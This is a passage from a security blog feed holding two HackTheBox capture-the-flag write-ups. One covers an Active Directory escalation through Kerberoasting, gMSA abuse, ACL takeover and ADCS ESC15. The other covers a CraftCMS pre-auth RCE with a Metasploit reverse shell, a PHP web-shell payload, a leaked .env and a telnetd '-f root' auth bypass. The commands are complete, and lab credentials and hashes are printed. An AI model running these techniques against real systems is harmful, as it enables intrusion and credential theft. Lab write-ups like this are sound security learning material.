p { text-align: justify; }
</style>

<h1 id="htb-tombwatcher">HTB TombWatcher</h1>

<p><strong>Difficulty:</strong> Medium<br />
<strong>OS:</strong> Windows Server 2019<br />
<strong>Platform:</strong> HackTheBox<br />
<strong>Category:</strong> Active Directory<br />
<strong>Status:</strong> Retired</p>

<hr />

<h2 id="overview">Overview</h2>

<p>TombWatcher chains together multiple AD permission abuses in a clean escalation path. Starting from henry with WriteSPN over alfred, the chain runs through targeted Kerberoasting, gMSA abuse, ForceChangePassword, WriteOwner, and GenericAll before landing a WinRM shell. Privilege escalation goes through a deleted account restored from the AD Recycle Bin, an ESC15 vulnerable certificate template, and an Enrollment Agent certificate that signs for Administrator. Long chain, every step logical.</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap">Nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sS</span> <span class="nt">-T4</span> <span class="nt">-A</span> <span class="nt">-Pn</span> 10.129.232.167
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE
53/tcp   open  dns
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
5985/tcp open  winrm
</code></pre></div></div>

<table>
  <tbody>
    <tr>
      <td>Domain: <code class="language-plaintext highlighter-rouge">tombwatcher.htb</code></td>
      <td>DC: <code class="language-plaintext highlighter-rouge">DC01.tombwatcher.htb</code></td>
      <td>SMB signing enforced.</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.232.167 dc01.tombwatcher.htb tombwatcher.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<p><strong>Starting credentials:</strong> <code class="language-plaintext highlighter-rouge">henry:H3nry_987TGV!</code></p>

<hr />

<h3 id="bloodhound">BloodHound</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound-python <span class="nt">-u</span> henry <span class="nt">-p</span> <span class="s1">'H3nry_987TGV!'</span> <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-dc</span> dc01.tombwatcher.htb <span class="nt">-ns</span> 10.129.232.167 <span class="nt">-c</span> all
</code></pre></div></div>

<p>Full attack path mapped:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>henry  -&gt; WriteSPN over alfred
alfred -&gt; AddSelf to INFRASTRUCTURE group
INFRASTRUCTURE -&gt; ReadGMSAPassword over ansible_dev$
ansible_dev$ -&gt; ForceChangePassword over sam
sam -&gt; WriteOwner over john
john -&gt; GenericAll over ADCS OU
john -&gt; member of Remote Management Users
</code></pre></div></div>

<hr />

<h2 id="foothold--targeted-kerberoasting-via-writespn">Foothold — Targeted Kerberoasting via WriteSPN</h2>

<h3 id="adding-an-spn-to-alfred">Adding an SPN to Alfred</h3>

<p>Henry has WriteSPN over alfred. Add an SPN to make alfred kerberoastable:
<img src="/assets/images/TOMB/writespn.png" alt="WriteSPN" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 /opt/krbrelayx/addspn.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'tombwatcher.htb\henry'</span> <span class="nt">-p</span> <span class="s1">'H3nry_987TGV!'</span> <span class="se">\</span>
  <span class="nt">-t</span> <span class="s1">'alfred'</span> <span class="nt">-s</span> <span class="s1">'HTTP/alfred.tombwatcher.htb'</span> 10.129.232.167
</code></pre></div></div>

<h3 id="getting-the-tgs">Getting the TGS</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ft dc01.tombwatcher.htb impacket-getTGT <span class="se">\</span>
  <span class="s1">'tombwatcher.htb/henry:H3nry_987TGV!'</span> <span class="nt">-dc-ip</span> 10.129.232.167

<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>henry.ccache

ft dc01.tombwatcher.htb impacket-GetUserSPNs <span class="se">\</span>
  tombwatcher.htb/henry <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.167 <span class="nt">-request</span>
</code></pre></div></div>
<p><img src="/assets/images/TOMB/kerberoast.png" alt="CRACKED" /></p>

<h3 id="cracking-the-hash">Cracking the Hash</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 13100 alfred.hash /usr/share/wordlists/rockyou.txt
</code></pre></div></div>
<p><img src="/assets/images/TOMB/basketball.png" alt="YKB" /></p>

<p>Cracked: <code class="language-plaintext highlighter-rouge">alfred:basketball</code></p>

<hr />

<h2 id="lateral-movement--gmsa-abuse">Lateral Movement — gMSA Abuse</h2>

<h3 id="alfred-adds-himself-to-infrastructure">Alfred Adds Himself to INFRASTRUCTURE</h3>

<p><img src="/assets/images/TOMB/gmsa.png" alt="GMSA" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> alfred <span class="nt">-p</span> <span class="s1">'basketball'</span> add groupMember Infrastructure alfred
</code></pre></div></div>

<h3 id="reading-ansible_dev-gmsa-password">Reading ansible_dev$ gMSA Password</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ft dc01.tombwatcher.htb nxc ldap 10.129.232.167 <span class="se">\</span>
  <span class="nt">-u</span> alfred <span class="nt">-p</span> <span class="s1">'basketball'</span> <span class="nt">-k</span> <span class="nt">--gmsa</span>
</code></pre></div></div>
<p><img src="/assets/images/TOMB/hash.png" alt="HASH" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ansible_dev$ NTLM: b91f529d36292ba764273e5dd7b90fa1
</code></pre></div></div>

<hr />

<h2 id="lateral-movement--sam">Lateral Movement — Sam</h2>

<p><img src="/assets/images/TOMB/changep.png" alt="Password" /></p>

<p>ForceChangePassword over sam:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'ansible_dev$'</span> <span class="nt">-p</span> <span class="s1">':b91f529d36292ba764273e5dd7b90fa1'</span> <span class="se">\</span>
  <span class="nb">set </span>password sam <span class="s1">'Dontoliver1'</span>
</code></pre></div></div>

<hr />

<h2 id="lateral-movement--john">Lateral Movement — John</h2>
<p><img src="/assets/images/TOMB/writeowner.png" alt="WriteOwner" /></p>

<p>Sam has WriteOwner over john. Take ownership, grant GenericAll, reset password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> sam <span class="nt">-p</span> <span class="s1">'Dontoliver1'</span> <span class="nb">set </span>owner john sam

bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> sam <span class="nt">-p</span> <span class="s1">'Dontoliver1'</span> add genericAll john sam

bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> sam <span class="nt">-p</span> <span class="s1">'Dontoliver1'</span> <span class="nb">set </span>password john <span class="s1">'Kdot+Drake'</span>
</code></pre></div></div>

<hr />

<h2 id="user-flag">User Flag</h2>

<p><img src="/assets/images/TOMB/winrm.png" alt="WInrm" /></p>

<p>John is in Remote Management Users:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> 10.129.232.167 <span class="nt">-u</span> john <span class="nt">-p</span> <span class="s1">'Kdot+Drake'</span>
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\john\Desktop\user.txt</span><span class="w">
</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p><strong>User flag captured.</strong> ✅</p>

<hr />

<h2 id="privilege-escalation--adcs-esc15-cve-2024-49019">Privilege Escalation — ADCS ESC15 (CVE-2024-49019)</h2>

<h3 id="enumerating-adcs">Enumerating ADCS</h3>

<p><img src="/assets/images/TOMB/generic.png" alt="GenericAll" /></p>

<p>John has GenericAll over the ADCS OU. Certipy finds the WebServer template:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad find <span class="nt">-u</span> <span class="s1">'john@tombwatcher.htb'</span> <span class="nt">-p</span> <span class="s1">'Kdot+Drake'</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.167 <span class="nt">-stdout</span>
</code></pre></div></div>

<p>Key finding: the WebServer template is Schema Version 1 with an unresolved SID (<code class="language-plaintext highlighter-rouge">S-1-5-21-...-1111</code>) in enrollment rights. Unresolved SID means a deleted account that still holds rights. That is an AD Recycle Bin target.</p>

<hr />

<h3 id="restoring-cert_admin-from-ad-recycle-bin">Restoring cert_admin from AD Recycle Bin</h3>

<p><img src="/assets/images/TOMB/cert_admin.png" alt="Cert" /></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Get-ADObject</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="s1">'isDeleted -eq $true'</span><span class="w"> </span><span class="nx">\</span><span class="w">
  </span><span class="nt">-IncludeDeletedObjects</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="n">cn</span><span class="p">,</span><span class="nx">objectSid</span><span class="p">,</span><span class="nx">isDeleted</span><span class="w"> </span><span class="nx">\</span><span class="w">
  </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">isDeleted</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="bp">$true</span><span class="w"> </span><span class="p">}</span><span class="w">

</span><span class="n">Restore-ADObject</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="s2">"938182c3-bf0b-410a-9aaa-45c8e1a02ebf"</span><span class="w">
</span></code></pre></div></div>

<h3 id="propagating-fullcontrol-from-the-adcs-ou">Propagating FullControl from the ADCS OU</h3>

<p>John has GenericAll over the ADCS OU. Push that down to cert_admin:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-dacledit <span class="nt">-action</span> <span class="s1">'write'</span> <span class="nt">-rights</span> <span class="s1">'FullControl'</span> <span class="se">\</span>
  <span class="nt">-inheritance</span> <span class="nt">-principal</span> <span class="s1">'john'</span> <span class="se">\</span>
  <span class="nt">-target-dn</span> <span class="s1">'OU=ADCS,DC=tombwatcher,DC=htb'</span> <span class="se">\</span>
  tombwatcher.htb/john:<span class="s1">'Kdot+Drake'</span>
</code></pre></div></div>

<h3 id="resetting-cert_admin-password">Resetting cert_admin Password</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodyAD <span class="nt">--host</span> 10.129.232.167 <span class="nt">-d</span> tombwatcher.htb <span class="se">\</span>
  <span class="nt">-u</span> john <span class="nt">-p</span> <span class="s1">'Kdot+Drake'</span> <span class="nb">set </span>password cert_admin <span class="s1">'jackharlow'</span>
</code></pre></div></div>

<hr />

<h3 id="what-esc15-actually-is">What ESC15 Actually Is</h3>

<p>ESC15 targets Schema Version 1 certificate templates where the enrollee supplies the subject. Schema v1 templates don’t enforce Application Policy constraints during issuance. This means an attacker can inject the Certificate Request Agent OID (<code class="language-plaintext highlighter-rouge">1.3.6.1.4.1.311.20.2.1</code>) into the certificate request, turning a Server Authentication certificate into an Enrollment Agent certificate that can request certificates on behalf of any user in the domain — including Administrator.</p>

<hr />

<h3 id="step-1--request-enrollment-agent-certificate">Step 1 — Request Enrollment Agent Certificate</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad req <span class="nt">-ca</span> <span class="s1">'tombwatcher-CA-1'</span> <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'cert_admin@tombwatcher.htb'</span> <span class="nt">-p</span> <span class="s1">'jackharlow'</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.167 <span class="se">\</span>
  <span class="nt">-template</span> WebServer <span class="se">\</span>
  <span class="nt">-application-policies</span> <span class="s1">'1.3.6.1.4.1.311.20.2.1'</span> <span class="se">\</span>
  <span class="nt">-target-ip</span> 10.129.232.167
</code></pre></div></div>

<p>Output: <code class="language-plaintext highlighter-rouge">cert_admin.pfx</code> — Enrollment Agent certificate.</p>

<h3 id="step-2--request-certificate-on-behalf-of-administrator">Step 2 — Request Certificate on Behalf of Administrator</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad req <span class="nt">-u</span> <span class="s1">'cert_admin@tombwatcher.htb'</span> <span class="nt">-p</span> <span class="s1">'jackharlow'</span> <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.167 <span class="se">\</span>
  <span class="nt">-target-ip</span> 10.129.232.167 <span class="se">\</span>
  <span class="nt">-ca</span> <span class="s1">'tombwatcher-CA-1'</span> <span class="se">\</span>
  <span class="nt">-template</span> User <span class="se">\</span>
  <span class="nt">-on-behalf-of</span> <span class="s1">'tombwatcher\administrator'</span> <span class="se">\</span>
  <span class="nt">-pfx</span> cert_admin.pfx
</code></pre></div></div>

<p>Output: <code class="language-plaintext highlighter-rouge">administrator.pfx</code></p>

<h3 id="step-3--authenticate-and-get-ntlm-hash">Step 3 — Authenticate and Get NTLM Hash</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ft dc01.tombwatcher.htb certipy-ad auth <span class="se">\</span>
  <span class="nt">-dc-ip</span> 10.129.232.167 <span class="nt">-pfx</span> administrator.pfx
</code></pre></div></div>
<p><img src="/assets/images/TOMB/pfx.png" alt="PFX" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Administrator NTLM: f61db423bebe3328d33af26741afe5fc
</code></pre></div></div>

<hr />

<h2 id="root-flag">Root Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> 10.129.232.167 <span class="nt">-u</span> administrator <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'f61db423bebe3328d33af26741afe5fc'</span>
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\Administrator\Desktop\root.txt</span><span class="w">
</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p><strong>Root flag captured. Domain pwned.</strong> ✅</p>

<hr />

<h2 id="full-attack-chain">Full Attack Chain</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>henry:H3nry_987TGV! (given)
  |
  WriteSPN over alfred -&gt; add SPN -&gt; Kerberoast
  -&gt; alfred:basketball
     |
     AddSelf to INFRASTRUCTURE group
     -&gt; ReadGMSAPassword -&gt; ansible_dev$ NTLM hash
        |
        ForceChangePassword over sam -&gt; sam:Dontoliver1
           |
           WriteOwner over john -&gt; set owner -&gt; GenericAll -&gt; reset password
           -&gt; john:Kdot+Drake -&gt; WinRM -&gt; USER FLAG
              |
              GenericAll over ADCS OU
              -&gt; unresolved SID on WebServer template
              -&gt; restore cert_admin from AD Recycle Bin
              -&gt; propagate FullControl -&gt; reset cert_admin password
                 |
                 ESC15 (CVE-2024-49019): inject Certificate Request Agent OID
                 -&gt; cert_admin.pfx (Enrollment Agent)
                 -&gt; request cert on behalf of Administrator
                 -&gt; administrator.pfx -&gt; NTLM hash
                 -&gt; evil-winrm -&gt; ROOT FLAG
</code></pre></div></div>

<p>BTW WHERE YOU SEE ME US “ft”, is a little bash script for faketime i use. Rather than always having to check and update the time. So here you go(^_^)/~ :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/sh
DC="${1}"
shift
if [ -z "$DC" ]; then
    echo "[!] Usage: ft &lt;DC_HOSTNAME&gt; &lt;command&gt;"
    echo "    Example: ft dc01.domain.htb nxc smb &lt;IP&gt; -u user -p pass"
    exit 1
fi
TS="$(ntpdate -q "$DC" | awk '{print $1, $2; exit}')"
if [ -z "$TS" ]; then
    echo "[!] Failed to fetch DC time"
    exit 1
fi
echo "[+] Using DC time: $TS"
exec faketime "$TS" "$@"
</code></pre></div></div>

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. WriteSPN is a Kerberoasting primitive</strong><br />
Any write to the <code class="language-plaintext highlighter-rouge">servicePrincipalName</code> attribute lets you add a fake SPN and Kerberoast the account. It’s a quieter path than password spray and doesn’t require the account to already be a service account.</p>

<p><strong>2. gMSA membership groups deserve scrutiny</strong><br />
<code class="language-plaintext highlighter-rouge">PrincipalsAllowedToReadPassword</code> controls who can dump the gMSA hash. In this case, getting alfred into the INFRASTRUCTURE group was enough to read ansible_dev$’s hash. Membership in those groups is as sensitive as the service account itself.</p>

<p><strong>3. WriteOwner enables full object compromise</strong><br />
Changing ownership then granting GenericAll is a two-step full takeover of any AD object. Once you own an object you can give yourself any permission you want.</p>

<p><strong>4. Unresolved SIDs in certificate template ACLs signal deleted accounts</strong><br />
When certipy shows a SID instead of a name in enrollment rights, that account was deleted but its permissions persisted. AD Recycle Bin can bring it back with those rights intact. Always investigate unresolved SIDs.</p>

<p><strong>5. ESC15 turns any Schema v1 template into an Enrollment Agent path</strong><br />
Schema Version 1 templates don’t validate Application Policy extensions. Injecting the Certificate Request Agent OID converts a basic Server Authentication certificate into one that can enroll on behalf of any domain user. The fix is upgrading templates to Schema v2 or disabling enrollee-supplied subject on sensitive templates.</p>

<p><strong>6. GenericAll on an OU propagates down with dacledit</strong><br />
GenericAll on the ADCS OU didn’t automatically give control over objects inside it until we used dacledit to push the permission down with inheritance. Understanding how OU-level permissions interact with object-level permissions matters for both attack and defence.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExMzhlbjk5NXY3b3ExdXhqdmUzaDk1M2V0aHhnbzFsNm83NnJuMzhwayZlcD12MV9naWZzX3NlYXJjaCZjdD1n/tcKnSDeltmpKxslv8r/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="HackTheBox" /><category term="Active Directory" /><category term="htb" /><category term="active-directory" /><category term="kerberoasting" /><category term="gmsa" /><category term="writespn" /><category term="writeowner" /><category term="adcs" /><category term="esc15" /><category term="cve-2024-49019" /><category term="ad-recycle-bin" /><category term="certipy" /><category term="bloodhound" /><category term="windows" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB Orion — CraftCMS RCE, MySQL Credential Leak &amp;amp; Telnetd Auth Bypass</title><link href="https://0x5h4q.github.io/hackthebox/linux/htb-orion-writeup/" rel="alternate" type="text/html" title="HTB Orion — CraftCMS RCE, MySQL Credential Leak &amp;amp; Telnetd Auth Bypass" /><published>2026-07-04T00:00:00+01:00</published><updated>2026-07-04T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hackthebox/linux/htb-orion-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hackthebox/linux/htb-orion-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<h1 id="htb-orion">HTB Orion</h1>

<p><strong>Difficulty:</strong> Easy<br />
<strong>OS:</strong> Linux<br />
<strong>Platform:</strong> HackTheBox<br />
<strong>Status:</strong> Active</p>

<hr />

<h2 id="overview">Overview</h2>

<p>Orion is a very-easy Linux machine that covers three distinct techniques in a clean chain. A CraftCMS instance running a vulnerable version gives unauthenticated RCE. The web root contains a <code class="language-plaintext highlighter-rouge">.env</code> file with database credentials. MySQL holds a bcrypt hash that cracks to a password reused on the system account. And an internal telnet daemon with a known auth bypass drops you into a root shell with one environment variable.</p>

<p>Short box. Clean chain. Good fundamentals.</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap">Nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sCV</span> 10.129.21.96
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1
80/tcp open  http    nginx 1.18.0
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.21.96 orion.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<hr />

<h3 id="web-enumeration">Web Enumeration</h3>

<p>The main site is a telecom company landing page. The footer gives away the CMS immediately:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Powered by CraftCMS
</code></pre></div></div>

<p>Directory fuzzing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://orion.htb/ <span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt <span class="nt">-t</span> 50

admin            <span class="o">[</span>200]
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/admin</code> redirects to <code class="language-plaintext highlighter-rouge">/admin/login</code> –&gt; the CraftCMS control panel. The login page confirms the version: <strong>CraftCMS 5.6.16</strong>.</p>

<p><img src="/assets/images/ORION/login.png" alt="Login" /></p>

<p>That version is vulnerable to CVE-2025-32432.</p>

<hr />

<h2 id="initial-access--cve-2025-32432-craftcms-unauthenticated-rce">Initial Access — CVE-2025-32432 (CraftCMS Unauthenticated RCE)</h2>

<h3 id="how-it-works">How It Works</h3>

<p>The vulnerability lives in the <code class="language-plaintext highlighter-rouge">actions/assets/generate-transform</code> endpoint. CraftCMS uses Yii Framework’s object configuration system, which allows arrays with a <code class="language-plaintext highlighter-rouge">class</code> key to instantiate arbitrary PHP classes. By sending a crafted JSON payload that triggers <code class="language-plaintext highlighter-rouge">GuzzleHttp\Psr7\FnStream</code> (which executes a callable on close), an attacker gets code execution without any authentication.</p>

<p>The attack runs in three phases:</p>

<ul>
  <li><strong>Leak session path</strong> — send a payload that calls <code class="language-plaintext highlighter-rouge">phpinfo()</code>, revealing <code class="language-plaintext highlighter-rouge">session.save_path</code></li>
  <li><strong>Inject web shell</strong> — poison a PHP session file with <code class="language-plaintext highlighter-rouge">&lt;?=eval($_GET['cmd'])?&gt;</code></li>
  <li><strong>Trigger execution</strong> — reference the poisoned session through the same endpoint</li>
</ul>

<p>CSRF protection is bypassed by extracting <code class="language-plaintext highlighter-rouge">CRAFT_CSRF_TOKEN</code> from cookies and <code class="language-plaintext highlighter-rouge">csrfTokenValue</code> from the login page JavaScript, then including both in the request.</p>

<h3 id="exploitation">Exploitation</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole <span class="nt">-q</span> <span class="nt">-x</span> <span class="s2">"use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; </span><span class="se">\</span><span class="s2">
  set rhosts orion.htb; </span><span class="se">\</span><span class="s2">
  set rport 80; </span><span class="se">\</span><span class="s2">
  set lhost 10.10.16.32; </span><span class="se">\</span><span class="s2">
  run"</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> shell
script /dev/null <span class="nt">-c</span> /bin/bash
</code></pre></div></div>

<p>Shell landed as <code class="language-plaintext highlighter-rouge">www-data</code>.</p>

<hr />

<h2 id="user-flag--mysql-credentials-and-hash-cracking">User Flag — MySQL Credentials and Hash Cracking</h2>

<h3 id="finding-the-credentials">Finding the Credentials</h3>

<p>CraftCMS stores database configuration in a <code class="language-plaintext highlighter-rouge">.env</code> file at the project root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /var/www/html/craft
<span class="nb">cat</span> .env
</code></pre></div></div>
<p><img src="/assets/images/ORION/db.png" alt="DB" /></p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">CRAFT_DB_DRIVER</span><span class="p">=</span><span class="s">mysql</span>
<span class="py">CRAFT_DB_SERVER</span><span class="p">=</span><span class="s">127.0.0.1</span>
<span class="py">CRAFT_DB_PORT</span><span class="p">=</span><span class="s">3306</span>
<span class="py">CRAFT_DB_DATABASE</span><span class="p">=</span><span class="s">orion</span>
<span class="py">CRAFT_DB_USER</span><span class="p">=</span><span class="s">root</span>
<span class="py">CRAFT_DB_PASSWORD</span><span class="p">=</span><span class="s">SuperSecureCraft123Pass!</span>
</code></pre></div></div>

<p>One file. Database credentials in plaintext. Always check <code class="language-plaintext highlighter-rouge">.env</code> first.</p>

<h3 id="extracting-the-admin-hash">Extracting the Admin Hash</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql <span class="nt">-u</span> root <span class="nt">-pSuperSecureCraft123Pass</span><span class="o">!</span> orion <span class="se">\</span>
  <span class="nt">-e</span> <span class="s2">"SELECT username,email,password FROM users;"</span>
</code></pre></div></div>
<p><img src="/assets/images/ORION/admin.png" alt="HASH" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">$2y$</code> is bcrypt.</p>

<h3 id="cracking">Cracking</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS'</span> <span class="o">&gt;</span> hash.txt
hashcat <span class="nt">-m</span> 3200 hash.txt /usr/share/wordlists/rockyou.txt <span class="nt">--force</span>
</code></pre></div></div>

<p>Cracked: <code class="language-plaintext highlighter-rouge">darkangel</code></p>

<h3 id="ssh-access">SSH Access</h3>

<p>Adam reused their CraftCMS admin password for the system account:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh adam@orion.htb
<span class="c"># Password: darkangel</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>user.txt
<span class="o">[</span>REDACTED]
</code></pre></div></div>

<p><strong>User flag captured.</strong> ✅</p>

<hr />

<h2 id="privilege-escalation--cve-2026-24061-telnetd-auth-bypass">Privilege Escalation — CVE-2026-24061 (Telnetd Auth Bypass)</h2>

<h3 id="internal-service-discovery">Internal Service Discovery</h3>

<p>First thing after getting a shell — enumerate what’s listening locally:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss <span class="nt">-tulnp</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcp  LISTEN  127.0.0.1:23    # telnet
tcp  LISTEN  127.0.0.1:3306  # MySQL
</code></pre></div></div>

<p>Port 23. Telnet on a modern system is always suspicious.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>telnet <span class="nt">--version</span>
<span class="c"># telnet (GNU inetutils) 2.7</span>
</code></pre></div></div>

<p>GNU inetutils 2.7 telnetd is vulnerable to CVE-2026-24061.</p>

<h3 id="the-vulnerability">The Vulnerability</h3>

<p>The telnet daemon passes the <code class="language-plaintext highlighter-rouge">USER</code> environment variable directly to the <code class="language-plaintext highlighter-rouge">login(1)</code> binary. The <code class="language-plaintext highlighter-rouge">-f</code> flag tells <code class="language-plaintext highlighter-rouge">login</code> to skip authentication entirely. Setting <code class="language-plaintext highlighter-rouge">USER</code> to <code class="language-plaintext highlighter-rouge">-f root</code> causes the daemon to execute <code class="language-plaintext highlighter-rouge">login -f root</code>, which drops straight into a root shell with no password prompt.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">USER</span><span class="o">=</span><span class="s2">"-f root"</span> telnet <span class="nt">-a</span> 127.0.0.1
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Trying 127.0.0.1...
Connected to 127.0.0.1.
Linux 5.15.0-171-generic (orion)

root@orion:~#
</code></pre></div></div>

<hr />

<h2 id="root-flag">Root Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /root/root.txt
<span class="o">[</span>REDACTED]
</code></pre></div></div>

<p><strong>Root flag captured. Box pwned.</strong> ✅</p>

<hr />
